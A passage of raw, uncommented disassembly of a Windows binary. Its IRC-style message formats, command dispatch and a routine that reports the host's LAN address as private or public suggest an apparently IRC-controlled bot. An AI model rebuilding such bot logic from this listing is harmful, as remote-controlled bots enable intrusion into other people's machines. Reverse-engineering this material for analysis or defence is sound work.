sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi add esp, 8 test eax, eax jz loc_411023 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F30 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41100F push offset byte_448F30 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41100F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_410FEB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_410FEB: ; CODE XREF: sub_40FE30+11A9j push offset byte_4E8E45 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41100F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E45 push edx call sub_401FDC loc_41100F: ; CODE XREF: sub_40FE30+1173j ; sub_40FE30+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411023: ; CODE XREF: sub_40FE30+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_411038: ; CODE XREF: sub_40FE30+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4110BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4110C4 loc_4110BF: ; CODE XREF: sub_40FE30+1238j mov [esp+20h+var_D], 1 loc_4110C4: ; CODE XREF: sub_40FE30+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4111F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4111F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4111F7 ; --------------------------------------------------------------------------- loc_4111F0: ; CODE XREF: sub_40FE30+391j mov ecx, ebp call sub_401D20 loc_4111F7: ; CODE XREF: sub_40FE30+1D3j ; sub_40FE30+253j ... cmp [ebp+17h], bl jnz loc_40FE72 loc_411200: ; CODE XREF: sub_40FE30+3Cj ; sub_40FE30+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FE30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411730 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411748 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411748: ; CODE XREF: sub_411730+Dj mov eax, esi pop esi retn 4 sub_411730 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411760 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411760 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411786 lea edi, [esi+11h] jmp short loc_411788 ; --------------------------------------------------------------------------- loc_411786: ; CODE XREF: sub_411760+1Fj xor edi, edi loc_411788: ; CODE XREF: sub_411760+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_411760 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_4117DC lea ebx, [esi+11h] jmp short loc_4117DE ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: ___:004117D5j xor ebx, ebx loc_4117DE: ; CODE XREF: ___:004117DAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_41183B lea ebx, [esi+11h] jmp short loc_41183D ; --------------------------------------------------------------------------- loc_41183B: ; CODE XREF: ___:00411834j xor ebx, ebx loc_41183D: ; CODE XREF: ___:00411839j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411890 lea ebx, [esi+11h] jmp short loc_411892 ; --------------------------------------------------------------------------- loc_411890: ; CODE XREF: ___:00411889j xor ebx, ebx loc_411892: ; CODE XREF: ___:0041188Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_4118E5 lea ebx, [esi+11h] jmp short loc_4118E7 ; --------------------------------------------------------------------------- loc_4118E5: ; CODE XREF: ___:004118DEj xor ebx, ebx loc_4118E7: ; CODE XREF: ___:004118E3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411938 lea ebx, [esi+11h] jmp short loc_41193A ; --------------------------------------------------------------------------- loc_411938: ; CODE XREF: ___:00411931j xor ebx, ebx loc_41193A: ; CODE XREF: ___:00411936j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411991 lea ebx, [esi+11h] jmp short loc_411993 ; --------------------------------------------------------------------------- loc_411991: ; CODE XREF: ___:0041198Aj xor ebx, ebx loc_411993: ; CODE XREF: ___:0041198Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_4119EF lea ebx, [esi+11h] jmp short loc_4119F1 ; --------------------------------------------------------------------------- loc_4119EF: ; CODE XREF: ___:004119E8j xor ebx, ebx loc_4119F1: ; CODE XREF: ___:004119EDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411A4A lea ebx, [esi+11h] jmp short loc_411A4C ; --------------------------------------------------------------------------- loc_411A4A: ; CODE XREF: ___:00411A43j xor ebx, ebx loc_411A4C: ; CODE XREF: ___:00411A48j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411AA5 lea ebx, [esi+11h] jmp short loc_411AA7 ; --------------------------------------------------------------------------- loc_411AA5: ; CODE XREF: ___:00411A9Ej xor ebx, ebx loc_411AA7: ; CODE XREF: ___:00411AA3j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411C00 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C00 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412129 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412129 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_411D02 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490C0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411D02: ; CODE XREF: sub_411C00+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_411D79 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411D79: ; CODE XREF: sub_411C00+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_411E34 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412152 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411E34: ; CODE XREF: sub_411C00+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_411EDD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490C4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411EDD: ; CODE XREF: sub_411C00+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_411F4B push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_4490F0 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411F4B: ; CODE XREF: sub_411C00+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_411FAD lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_411FAD: ; CODE XREF: sub_411C00+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41204D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412152 ; --------------------------------------------------------------------------- loc_41204D: ; CODE XREF: sub_411C00+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412152 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490F4 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412152 ; --------------------------------------------------------------------------- loc_412129: ; CODE XREF: sub_411C00+3Aj ; sub_411C00+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412152: ; CODE XREF: sub_411C00+FDj ; sub_411C00+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411C00 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4122D0 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4122D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call near ptr byte_5F285B nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F30 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_4123DB push offset aPrivate ; "[PRIVATE]" jmp short loc_4123E0 ; --------------------------------------------------------------------------- loc_4123DB: ; CODE XREF: sub_4122D0+102j push offset aPublic ; "[PUBLIC]" loc_4123E0: ; CODE XREF: sub_4122D0+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4122D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412490 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4124EE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4124EE: ; CODE XREF: sub_412490+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412490 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412520 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_412520 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412590 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412590 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4125C7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4125C7: ; CODE XREF: sub_412590+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4125E8 mov eax, dword_4490C0 push eax jmp short loc_4125EF ; --------------------------------------------------------------------------- loc_4125E8: ; CODE XREF: sub_412590+4Ej mov ecx, dword_4490C8 push ecx loc_4125EF: ; CODE XREF: sub_412590+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412590 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126C0 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_4126C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412740 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412740 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412770 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412770 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4127B0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_4127B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4127E0 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_4127E0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412830 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_412830 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_412848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_412848: ; CODE XREF: ___:0041283Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; 